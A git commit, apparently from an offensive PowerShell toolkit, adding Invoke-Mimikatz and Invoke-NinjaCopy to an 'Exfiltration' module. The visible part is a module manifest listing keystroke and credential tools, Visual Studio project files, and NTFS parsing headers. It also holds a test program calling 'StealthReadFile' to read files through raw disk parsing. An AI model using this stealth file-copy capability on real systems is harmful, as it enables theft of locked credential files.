Adding Invoke-Mimikatz and Invoke-Ninjacopy

This commit is contained in:
clymb3r 2013-10-01 09:47:05 -07:00
parent b17272eb98
commit 59cd183607
318 changed files with 29481 additions and 1 deletions

View File

@ -74,7 +74,8 @@ ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID =
# List of all files packaged with this module
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md'
'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1',
'Invoke-NinjaCopy.ps1'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,26 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2012
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NTFSParserDLL", "NTFSParserDLL\NTFSParserDLL.vcxproj", "{5E42B778-F231-4797-B7FD-7D5BCA9738D0}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|Win32.ActiveCfg = Debug|Win32
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|Win32.Build.0 = Debug|Win32
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|x64.ActiveCfg = Debug|x64
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Debug|x64.Build.0 = Debug|x64
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|Win32.ActiveCfg = Release|Win32
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|Win32.Build.0 = Release|Win32
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|x64.ActiveCfg = Release|x64
{5E42B778-F231-4797-B7FD-7D5BCA9738D0}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,28 @@
/*
* NTFS include files
*
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef __NTFS_H_CYB70289
#define __NTFS_H_CYB70289
#pragma pack(8)
#include "NTFS_Common.h"
#include "NTFS_FileRecord.h"
#include "NTFS_Attribute.h"
#pragma pack()
#endif

View File

@ -0,0 +1,49 @@
/*
*
* Copyright(C) 2013 Joe Bialek Twitter:@JosephBialek
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
//
// This code uses libraries released under GPLv2(or later) written by cyb70289 <cyb70289@gmail.com>
#include "stdafx.h"
#include "NTFS.h"
#include "NTFS_Attribute.h"
#include "NTFS_Common.h"
#include "NTFS_DataType.h"
#include "NTFS_FileRecord.h"
using namespace std;
typedef DWORD (CDECL *StealthReadFile_Func)(string, BYTE*, DWORD, ULONGLONG, DWORD*, ULONGLONG*);
int _tmain(int argc, _TCHAR* argv[])
{
HMODULE parserDLLHandle = LoadLibraryA("NTFSParserDLL.dll");
HANDLE procAddress = GetProcAddress(parserDLLHandle, "StealthReadFile");
StealthReadFile_Func StealthReadFile = (StealthReadFile_Func)procAddress;
DWORD buffSize = 1024*1024;
BYTE* buffer = new BYTE[buffSize];
DWORD bytesRead = 0;
ULONGLONG bytesLeft = 0;
DWORD ret = StealthReadFile("c:\\test\\test.txt", buffer, buffSize, 0, &bytesRead, &bytesLeft);
cout << "Return value: " << ret << endl;
ofstream myFile("c:\\test\\test2.txt", ios::out | ios::binary);
myFile.write((char*)buffer, bytesRead);
return 0;
}

View File

@ -0,0 +1,165 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{2F38A7A9-D810-451B-BB19-273770AF4D25}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>NTFSParser</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>NotSet</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<CharacterSet>NotSet</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>false</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>false</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="NTFS.h" />
<ClInclude Include="NTFS_Attribute.h" />
<ClInclude Include="NTFS_Common.h" />
<ClInclude Include="NTFS_DataType.h" />
<ClInclude Include="NTFS_FileRecord.h" />
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="NTFSParser.cpp" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,51 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="NTFS.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="NTFS_Attribute.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="NTFS_Common.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="NTFS_DataType.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="NTFS_FileRecord.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="NTFSParser.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,317 @@
/*
* NTFS Class common definitions
*
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef __NTFS_COMMON_H_CYB70289
#define __NTFS_COMMON_H_CYB70289
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <crtdbg.h>
#include "NTFS_DataType.h"
#define ATTR_NUMS 16 // Attribute Types count
#define ATTR_INDEX(at) (((at)>>4)-1) // Attribute Type to Index, eg. 0x10->0, 0x30->2
#define ATTR_MASK(at) (((DWORD)1)<<ATTR_INDEX(at)) // Attribute Bit Mask
// Bit masks of Attributes
#define MASK_STANDARD_INFORMATION ATTR_MASK(ATTR_TYPE_STANDARD_INFORMATION)
#define MASK_ATTRIBUTE_LIST ATTR_MASK(ATTR_TYPE_ATTRIBUTE_LIST)
#define MASK_FILE_NAME ATTR_MASK(ATTR_TYPE_FILE_NAME)
#define MASK_OBJECT_ID ATTR_MASK(ATTR_TYPE_OBJECT_ID)
#define MASK_SECURITY_DESCRIPTOR ATTR_MASK(ATTR_TYPE_SECURITY_DESCRIPTOR)
#define MASK_VOLUME_NAME ATTR_MASK(ATTR_TYPE_VOLUME_NAME)
#define MASK_VOLUME_INFORMATION ATTR_MASK(ATTR_TYPE_VOLUME_INFORMATION)
#define MASK_DATA ATTR_MASK(ATTR_TYPE_DATA)
#define MASK_INDEX_ROOT ATTR_MASK(ATTR_TYPE_INDEX_ROOT)
#define MASK_INDEX_ALLOCATION ATTR_MASK(ATTR_TYPE_INDEX_ALLOCATION)
#define MASK_BITMAP ATTR_MASK(ATTR_TYPE_BITMAP)
#define MASK_REPARSE_POINT ATTR_MASK(ATTR_TYPE_REPARSE_POINT)
#define MASK_EA_INFORMATION ATTR_MASK(ATTR_TYPE_EA_INFORMATION)
#define MASK_EA ATTR_MASK(ATTR_TYPE_EA)
#define MASK_LOGGED_UTILITY_STREAM ATTR_MASK(ATTR_TYPE_LOGGED_UTILITY_STREAM)
#define MASK_ALL ((DWORD)-1)
#define NTFS_TRACE(t1) _RPT0(_CRT_WARN, t1)
#define NTFS_TRACE1(t1, t2) _RPT1(_CRT_WARN, t1, t2)
#define NTFS_TRACE2(t1, t2, t3) _RPT2(_CRT_WARN, t1, t2, t3)
#define NTFS_TRACE3(t1, t2, t3, t4) _RPT3(_CRT_WARN, t1, t2, t3, t4)
#define NTFS_TRACE4(t1, t2, t3, t4, t5) _RPT4(_CRT_WARN, t1, t2, t3, t4, t5)
// User defined Callback routines to process raw attribute data
// Set bDiscard to TRUE if this Attribute is to be discarded
// Set bDiscard to FALSE to let CFileRecord process it
typedef void (*ATTR_RAW_CALLBACK)(const ATTR_HEADER_COMMON *attrHead, BOOL *bDiscard);
// User defined Callback routine to handle CFileRecord parsed attributes
// Will be called by CFileRecord::TraverseAttrs() for each attribute
// attrClass is the according attribute's wrapping class, CAttr_xxx
// Set bStop to TRUE if don't want to continue
// Set bStop to FALSE to continue processing
class CAttrBase;
typedef void (*ATTRS_CALLBACK)(const CAttrBase *attr, void *context, BOOL *bStop);
// User defined Callback routine to handle Directory traversing
// Will be called by CFileRecord::TraverseSubEntries for each sub entry
class CIndexEntry;
typedef void (*SUBENTRY_CALLBACK)(const CIndexEntry *ie);
// List Entry
template <class ENTRY_TYPE>
struct NTSLIST_ENTRY
{
NTSLIST_ENTRY *Next;
ENTRY_TYPE *Entry;
};
// List Entry Smart Pointer
template <class ENTRY_TYPE>
class CEntrySmartPtr
{
public:
CEntrySmartPtr(ENTRY_TYPE *ptr = NULL)
{
EntryPtr = ptr;
}
virtual ~CEntrySmartPtr()
{
if (EntryPtr)
delete EntryPtr;
}
private:
const ENTRY_TYPE *EntryPtr;
public:
__inline CEntrySmartPtr<ENTRY_TYPE> operator = (const ENTRY_TYPE* ptr)
{
// Delete previous pointer if allocated
if (EntryPtr)
delete EntryPtr;
EntryPtr = ptr;
return *this;
}
__inline const ENTRY_TYPE* operator->() const
{
_ASSERT(EntryPtr);
return EntryPtr;
}
__inline BOOL IsValid() const
{
return EntryPtr != NULL;
}
};
//////////////////////////////////////
// Single list implementation
//////////////////////////////////////
template <class ENTRY_TYPE>
class CSList
{
public:
CSList()
{
ListHead = ListTail = NULL;
ListCurrent = NULL;
EntryCount = 0;
}
virtual ~CSList()
{
RemoveAll();
}
private:
int EntryCount;
NTSLIST_ENTRY<ENTRY_TYPE> *ListHead;
NTSLIST_ENTRY<ENTRY_TYPE> *ListTail;
NTSLIST_ENTRY<ENTRY_TYPE> *ListCurrent;
public:
// Get entry count
__inline int GetCount() const
{
return EntryCount;
}
// Insert to tail
BOOL InsertEntry(ENTRY_TYPE *entry)
{
NTSLIST_ENTRY<ENTRY_TYPE> *le = new NTSLIST_ENTRY<ENTRY_TYPE>;
if (!le)
return FALSE;
le->Entry = entry;
le->Next = NULL;
if (ListTail == NULL)
ListHead = le; // Empty list
else
ListTail->Next = le;
ListTail = le;
EntryCount++;
return TRUE;
}
// Remove all entries
void RemoveAll()
{
while (ListHead)
{
ListCurrent = ListHead->Next;
delete ListHead->Entry;
delete ListHead;
ListHead = ListCurrent;
}
ListHead = ListTail = NULL;
ListCurrent = NULL;
EntryCount = 0;
}
// Find first entry
__inline ENTRY_TYPE *FindFirstEntry() const
{
((CSList<ENTRY_TYPE>*)this)->ListCurrent = ListHead;
if (ListCurrent)
return ListCurrent->Entry;
else
return NULL;
}
// Find next entry
__inline ENTRY_TYPE *FindNextEntry() const
{
if (ListCurrent)
((CSList<ENTRY_TYPE>*)this)->ListCurrent = ListCurrent->Next;
if (ListCurrent)
return ListCurrent->Entry;
else
return NULL;
}
// Throw all entries
// Caution! All entries are just thrown without free
__inline void ThrowAll()
{
ListHead = ListTail = NULL;
ListCurrent = NULL;
EntryCount = 0;
}
}; //CSList
//////////////////////////////////////
// Stack implementation
//////////////////////////////////////
template <class ENTRY_TYPE>
class CStack
{
public:
CStack()
{
ListHead = ListTail = NULL;
EntryCount = 0;
}
virtual ~CStack()
{
RemoveAll();
}
private:
int EntryCount;
NTSLIST_ENTRY<ENTRY_TYPE> *ListHead;
NTSLIST_ENTRY<ENTRY_TYPE> *ListTail;
public:
// Get entry count
__inline int GetCount() const
{
return EntryCount;
}
// Insert to head
BOOL Push(ENTRY_TYPE *entry)
{
NTSLIST_ENTRY<ENTRY_TYPE> *le = new NTSLIST_ENTRY<ENTRY_TYPE>;
if (!le)
return FALSE;
le->Entry = entry;
le->Next = ListHead;
ListHead = le;
if (ListTail == NULL)
ListTail = le; // Empty list
EntryCount ++;
return TRUE;
}
// Remove from head
ENTRY_TYPE* Pop()
{
if (ListHead == NULL)
return NULL;
NTSLIST_ENTRY<ENTRY_TYPE> *le = ListHead;
ENTRY_TYPE *e = le->Entry;
if (ListTail == ListHead)
ListTail = ListHead->Next;
ListHead = ListHead->Next;
delete le;
EntryCount --;
return e;
}
// Remove all entries
void RemoveAll()
{
NTSLIST_ENTRY<ENTRY_TYPE> *le;
while (ListHead)
{
le = ListHead->Next;
delete ListHead->Entry;
delete ListHead;
ListHead = le;
}
ListHead = ListTail = NULL;
EntryCount = 0;
}
}; //CStack
#endif

View File

@ -0,0 +1,380 @@
/*
* NTFS data structures and definitions
*
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef __NTFS_DATATYPE_H_CYB70289
#define __NTFS_DATATYPE_H_CYB70289
// NTFS Boot Sector BPB
#define NTFS_SIGNATURE "NTFS "
#pragma pack(1)
typedef struct tagNTFS_BPB
{
// jump instruction
BYTE Jmp[3];
// signature
BYTE Signature[8];
// BPB and extended BPB
WORD BytesPerSector;
BYTE SectorsPerCluster;
WORD ReservedSectors;
BYTE Zeros1[3];
WORD NotUsed1;
BYTE MediaDescriptor;
WORD Zeros2;
WORD SectorsPerTrack;
WORD NumberOfHeads;
DWORD HiddenSectors;
DWORD NotUsed2;
DWORD NotUsed3;
ULONGLONG TotalSectors;
ULONGLONG LCN_MFT;
ULONGLONG LCN_MFTMirr;
DWORD ClustersPerFileRecord;
DWORD ClustersPerIndexBlock;
BYTE VolumeSN[8];
// boot code
BYTE Code[430];
//0xAA55
BYTE _AA;
BYTE _55;
} NTFS_BPB;
#pragma pack()
// MFT Indexes
#define MFT_IDX_MFT 0
#define MFT_IDX_MFT_MIRR 1
#define MFT_IDX_LOG_FILE 2
#define MFT_IDX_VOLUME 3
#define MFT_IDX_ATTR_DEF 4
#define MFT_IDX_ROOT 5
#define MFT_IDX_BITMAP 6
#define MFT_IDX_BOOT 7
#define MFT_IDX_BAD_CLUSTER 8
#define MFT_IDX_SECURE 9
#define MFT_IDX_UPCASE 10
#define MFT_IDX_EXTEND 11
#define MFT_IDX_RESERVED12 12
#define MFT_IDX_RESERVED13 13
#define MFT_IDX_RESERVED14 14
#define MFT_IDX_RESERVED15 15
#define MFT_IDX_USER 16
/******************************
File Record
---------------------
| File Record Header|
---------------------
| Attribute 1 |
---------------------
| Attribute 2 |
---------------------
| ...... |
---------------------
| 0xFFFFFFFF |
---------------------
*******************************/
// File Record Header
#define FILE_RECORD_MAGIC 'ELIF'
#define FILE_RECORD_FLAG_INUSE 0x01 // File record is in use
#define FILE_RECORD_FLAG_DIR 0x02 // File record is a directory
typedef struct tagFILE_RECORD_HEADER
{
DWORD Magic; // "FILE"
WORD OffsetOfUS; // Offset of Update Sequence
WORD SizeOfUS; // Size in words of Update Sequence Number & Array
ULONGLONG LSN; // $LogFile Sequence Number
WORD SeqNo; // Sequence number
WORD Hardlinks; // Hard link count
WORD OffsetOfAttr; // Offset of the first Attribute
WORD Flags; // Flags
DWORD RealSize; // Real size of the FILE record
DWORD AllocSize; // Allocated size of the FILE record
ULONGLONG RefToBase; // File reference to the base FILE record
WORD NextAttrId; // Next Attribute Id
WORD Align; // Align to 4 byte boundary
DWORD RecordNo; // Number of this MFT Record
} FILE_RECORD_HEADER;
/******************************
Attribute
--------------------
| Attribute Header |
--------------------
| Attribute Data |
--------------------
*******************************/
// Attribute Header
#define ATTR_TYPE_STANDARD_INFORMATION 0x10
#define ATTR_TYPE_ATTRIBUTE_LIST 0x20
#define ATTR_TYPE_FILE_NAME 0x30
#define ATTR_TYPE_OBJECT_ID 0x40
#define ATTR_TYPE_SECURITY_DESCRIPTOR 0x50
#define ATTR_TYPE_VOLUME_NAME 0x60
#define ATTR_TYPE_VOLUME_INFORMATION 0x70
#define ATTR_TYPE_DATA 0x80
#define ATTR_TYPE_INDEX_ROOT 0x90
#define ATTR_TYPE_INDEX_ALLOCATION 0xA0
#define ATTR_TYPE_BITMAP 0xB0
#define ATTR_TYPE_REPARSE_POINT 0xC0
#define ATTR_TYPE_EA_INFORMATION 0xD0
#define ATTR_TYPE_EA 0xE0
#define ATTR_TYPE_LOGGED_UTILITY_STREAM 0x100
#define ATTR_FLAG_COMPRESSED 0x0001
#define ATTR_FLAG_ENCRYPTED 0x4000
#define ATTR_FLAG_SPARSE 0x8000
typedef struct tagATTR_HEADER_COMMON
{
DWORD Type; // Attribute Type
DWORD TotalSize; // Length (including this header)
BYTE NonResident; // 0 - resident, 1 - non resident
BYTE NameLength; // name length in words
WORD NameOffset; // offset to the name
WORD Flags; // Flags
WORD Id; // Attribute Id
} ATTR_HEADER_COMMON;
typedef struct tagATTR_HEADER_RESIDENT
{
ATTR_HEADER_COMMON Header; // Common data structure
DWORD AttrSize; // Length of the attribute body
WORD AttrOffset; // Offset to the Attribute
BYTE IndexedFlag; // Indexed flag
BYTE Padding; // Padding
} ATTR_HEADER_RESIDENT;
typedef struct tagATTR_HEADER_NON_RESIDENT
{
ATTR_HEADER_COMMON Header; // Common data structure
ULONGLONG StartVCN; // Starting VCN
ULONGLONG LastVCN; // Last VCN
WORD DataRunOffset; // Offset to the Data Runs
WORD CompUnitSize; // Compression unit size
DWORD Padding; // Padding
ULONGLONG AllocSize; // Allocated size of the attribute
ULONGLONG RealSize; // Real size of the attribute
ULONGLONG IniSize; // Initialized data size of the stream
} ATTR_HEADER_NON_RESIDENT;
// Attribute: STANDARD_INFORMATION
#define ATTR_STDINFO_PERMISSION_READONLY 0x00000001
#define ATTR_STDINFO_PERMISSION_HIDDEN 0x00000002
#define ATTR_STDINFO_PERMISSION_SYSTEM 0x00000004
#define ATTR_STDINFO_PERMISSION_ARCHIVE 0x00000020
#define ATTR_STDINFO_PERMISSION_DEVICE 0x00000040
#define ATTR_STDINFO_PERMISSION_NORMAL 0x00000080
#define ATTR_STDINFO_PERMISSION_TEMP 0x00000100
#define ATTR_STDINFO_PERMISSION_SPARSE 0x00000200
#define ATTR_STDINFO_PERMISSION_REPARSE 0x00000400
#define ATTR_STDINFO_PERMISSION_COMPRESSED 0x00000800
#define ATTR_STDINFO_PERMISSION_OFFLINE 0x00001000
#define ATTR_STDINFO_PERMISSION_NCI 0x00002000
#define ATTR_STDINFO_PERMISSION_ENCRYPTED 0x00004000
typedef struct tagATTR_STANDARD_INFORMATION
{
ULONGLONG CreateTime; // File creation time
ULONGLONG AlterTime; // File altered time
ULONGLONG MFTTime; // MFT changed time
ULONGLONG ReadTime; // File read time
DWORD Permission; // Dos file permission
DWORD MaxVersionNo; // Maxim number of file versions
DWORD VersionNo; // File version number
DWORD ClassId; // Class Id
DWORD OwnerId; // Owner Id
DWORD SecurityId; // Security Id
ULONGLONG QuotaCharged; // Quota charged
ULONGLONG USN; // USN Journel
} ATTR_STANDARD_INFORMATION;
// Attribute: ATTRIBUTE_LIST
typedef struct tagATTR_ATTRIBUTE_LIST
{
DWORD AttrType; // Attribute type
WORD RecordSize; // Record length
BYTE NameLength; // Name length in characters
BYTE NameOffset; // Name offset
ULONGLONG StartVCN; // Start VCN
ULONGLONG BaseRef; // Base file reference to the attribute
WORD AttrId; // Attribute Id
} ATTR_ATTRIBUTE_LIST;
// Attribute: FILE_NAME
#define ATTR_FILENAME_FLAG_READONLY 0x00000001
#define ATTR_FILENAME_FLAG_HIDDEN 0x00000002
#define ATTR_FILENAME_FLAG_SYSTEM 0x00000004
#define ATTR_FILENAME_FLAG_ARCHIVE 0x00000020
#define ATTR_FILENAME_FLAG_DEVICE 0x00000040
#define ATTR_FILENAME_FLAG_NORMAL 0x00000080
#define ATTR_FILENAME_FLAG_TEMP 0x00000100
#define ATTR_FILENAME_FLAG_SPARSE 0x00000200
#define ATTR_FILENAME_FLAG_REPARSE 0x00000400
#define ATTR_FILENAME_FLAG_COMPRESSED 0x00000800
#define ATTR_FILENAME_FLAG_OFFLINE 0x00001000
#define ATTR_FILENAME_FLAG_NCI 0x00002000
#define ATTR_FILENAME_FLAG_ENCRYPTED 0x00004000
#define ATTR_FILENAME_FLAG_DIRECTORY 0x10000000
#define ATTR_FILENAME_FLAG_INDEXVIEW 0x20000000
